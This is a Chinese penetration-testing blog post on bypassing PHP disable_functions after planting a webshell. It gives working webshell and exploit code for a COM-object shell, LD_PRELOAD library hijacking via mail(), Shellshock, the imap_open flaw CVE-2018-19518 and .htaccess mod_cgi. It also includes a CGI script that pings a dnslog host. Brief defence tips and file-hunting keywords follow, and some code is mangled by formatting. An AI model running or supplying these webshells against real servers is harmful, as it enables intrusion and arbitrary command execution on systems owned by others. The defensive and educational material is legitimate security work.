文章来源:酒仙桥六号部队
前言
随着安全防护能力的提升,在渗透测试的过程中总会遇到阻碍,今天来看看PHP webshell无法执行命令该怎么解决,以及如何防御这些绕过手段,做到未雨绸缪。
背景
在渗透过程中拿到一个webshell是一个标志性的胜利,为我们后续的进展带来了无限可能。但是,what!怎么一条命令都执行不了? 此时拿shell的喜悦已经没有了,这是个假shell?? 赶紧冷静了一下看看文件管理是正常的,那么传一个phpinfo看一下什么情况。 原来是disable_functions禁用了很多命令执行函数,导致拿到webshell无法执行命令。好吧算你狠。 但是这怎么能挡住我们勤劳勇敢的安全人员,何况PHP是世界上最好的语言,我们一定有办法的。 可以利用的思路有以下五种:- 寻找没有被禁用的函数
- Windows中调用COM组件执行命令
- Linux系统通过LD_PRELOAD加载自定义的动态库
- 利用Bash破壳(CVE-2014-6271)漏洞改变环境限制
- 利用imap_open()函数的特性绕过
- 通过mod_cgi 模式绕过php.ini的限制执行脚本
一. 寻找未禁用的漏网之鱼函数
PHP中执行命令的函数有:
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link,map_open,imap_mail,ini_set,ini_alter,通常会有漏网之鱼,我们可以尝试寻找一些偏僻没有被禁用的函数如proc_open()、pcntl_exec()等。二. windows中调用COM组件执行命令
环境要求:
1.php.ini中已经开启 com.allow_dcom、extension=php_com_dotnet.dll 2.在php/ext/里面存在php_com_dotnet.dll这个文件 利用原理: 在Windows环境中PHP中的COM()函数可以创建系统组件对象来运行系统命令。 上传com_rce.php文件,内容如下:<?php $command = $_GET['cmd'];$wsh = **new** COM('WScript.shell'); // 生成一个COM对象Shell.Application也能$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>
利用效果:
防御方法:
- Windows的COM组件可能会被用来绕过UAC、disable_functions等,我们需要检查PHP的配置文件中com.allow_dcom是否为false。
- 删除php/ext/下的php_com_dotnet.dll,防止被恶意利用。
三. Linux中利用LD_PRELOAD绕过
什么是LD_PRELOAD?
LD_PRELOAD是Linux系统的一个环境变量,它的加载优先级最高,可以用来覆盖正常的函数库。我们可以通过LD_PRELOAD加载我们写的函数库,来覆盖系统中原有的一些函数达到执行命令的效果。AntSword中的disable_functions插件原理也是如此。3.1 利用mail函数劫持getuid()
环境要求: 1.Linux系统安装并启用了sendmail程序。 2.error_log()和mail()函数没有全被禁用。 利用原理: php的mail()函数在执行过程中会默认调用系统程序/usr/sbin/sendmail、/usr/sbin/postdrop,而/usr/sbin/sendmail会调用getuid()。那么我们通过LD_PRELOAD劫持getuid函数,然后调用mail函数执行我们生成的恶意函数库中的getuid函数。 重写的getuid()函数test.c。#include #include #include int geteuid() { const char* cmdline = getenv("EVIL_CMDLINE"); if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); system(cmdline); }
用 gcc -shared -fPIC test.c -o test.so将test.c编译为动态链接库test.so。
gituid.php
这里用了putenv()函数将test.so加入环境变量。
<?php echo "
example:
http://test.com/exp.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/exp.so"; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "
cmdline: " . $evil_cmdline . "
"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); mail("", "", "", ""); echo "
output:
" . nl2br(file_get_contents($out_path))
. ""; unlink($out_path); ?>
利用效果:
3.2 劫持启动函数
环境要求: Linux系统 利用原理: 上面的方法需要通过LD_PRELOAD劫持一个系统函数来实现RCE,如果sendmail函数被禁用了呢?如果能找到一个方式在加载时就执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了。而C++ 的构造函数就是如此。 向目标机器上传bypass_disablefunc.c:#define _GNU_SOURCE #include #include #include extern char** environ; __attribute__ ((__constructor__)) void preload (void) { // get command line options and arg const char* cmdline = getenv("EVIL_CMDLINE"); // unset environment variable LD_PRELOAD. // unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '0'; } } // executive command system(cmdline); }
接着用以下语句编译C文件为共享对象文件:
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so
bypass_disablefunc.php
<?php echo "
example:
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so"; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "
cmdline: " . $evil_cmdline . "
"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); mail("", "", "", ""); echo "
output:
" . nl2br(file_get_contents($out_path))
. ""; unlink($out_path); ?>
利用效果:
防御手段:
- 这个方法需要上传so文件和php脚本,如果正确配置open_basedir,限制目录的读写、执行权限可以防范这种攻击。
四. 利用Bash破壳(CVE-2014-6271)漏洞
环境要求:
Linux中Bash 版本小于等于4.3,且存在破壳漏洞 可以执行“env x='() { :;}; echo vulnerable' bash -c "echo this is a test"”来测试是否存在破壳漏洞,如果存在会输出 vulnerable this is a test 利用原理: 存在Bash破壳(CVE-2014-6271)的Linux服务器向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,可利用此漏洞改变或绕过环境限制。mail函数的第五个参数会被交给popen()执行, 如果系统默认sh是bash,popen()会派生bash进程,进而可利用破壳漏洞执行命令。 上传shellshock.php:<?php function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } echo shellshock($_REQUEST["cmd"]); ?>
利用效果:
防御手段:
Bash破壳漏洞在2014年爆出后影响了大部分Linux系统。将Linux的bash升级到最新版本可防御这种攻击。
- 利用imap_open函数的特性绕过(CVE-2018-19518)。
- 安装了PHP的imap扩展。
- php.ini中开启imap.enable_insecure_rsh选项为On。
<?php error_reporting(0); if (!function_exists('imap_open')) { die("no imap_open function!"); } $server = "x -oProxyCommand=echot" . base64_encode($_GET['cmd'] .">/tmp/cmd_result") . "|base64t-d|sh}"; //$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] .">/tmp/cmd_result") . '|base64$IFS$()-d|sh}'; imap_open('{' . $server . ':143/imap}INBOX', '', ''); // orvar_dump("nnError: ".imap_last_error()); sleep(5); echo file_get_contents("/tmp/cmd_result"); ?>
利用效果:
防御方法:
- 如果业务没有用到imap相关的函数可以在php.ini添加禁用函数:imap_open()、imap_mail()、imap_rimap()
- 升级PHP版本,官方针对7.1.x在7.1.25版本发布时修复了 CVE-2018-19518 漏洞。
- 利用Apache mod_cgi 模式绕过 php.ini 中的限制。
AddHandler cgi-script .x
Python.x内容如下:\#!F:\\Python38\\python.exeimport osos.system("ping hbztiu.dnslog.cn")\#参数改为想要执行的命令
利用效果:
防御方法:
.htaccess文件是Apache下特有的配置文件,没有好的防御方法。如果程序没有用到这个文件就在PHP配置文件中禁用mod_cgi和.htaccess。
五. 应急处置方法
当我们的服务器被遭受了上面的攻击后应该如何排查处置呢?
1.上面的攻击方法需要在服务器上传文件,可以根据这些关键字在服务器上筛选可疑文件:WScript.shell、putenv、LD_PRELOAD、geteuid、imap_open。 2.检查PHP配置文件和.htaccess是否被更改、增加了恶意的配置。 3.检查bash等系统组件是否存在漏洞被结合其他漏洞利用了。六. 总结
未知攻焉知防,作为安全人员我们需要了解新的攻击方法,也需要了解怎么去防范这种攻击。攻防相互促进,才能更上一层楼。
推荐文章++++
*PHP代码审计入门笔记合集(共20篇)
*项目实战 | 记一次对某猥琐PHP后门的爆菊
*PHP后门隐藏技巧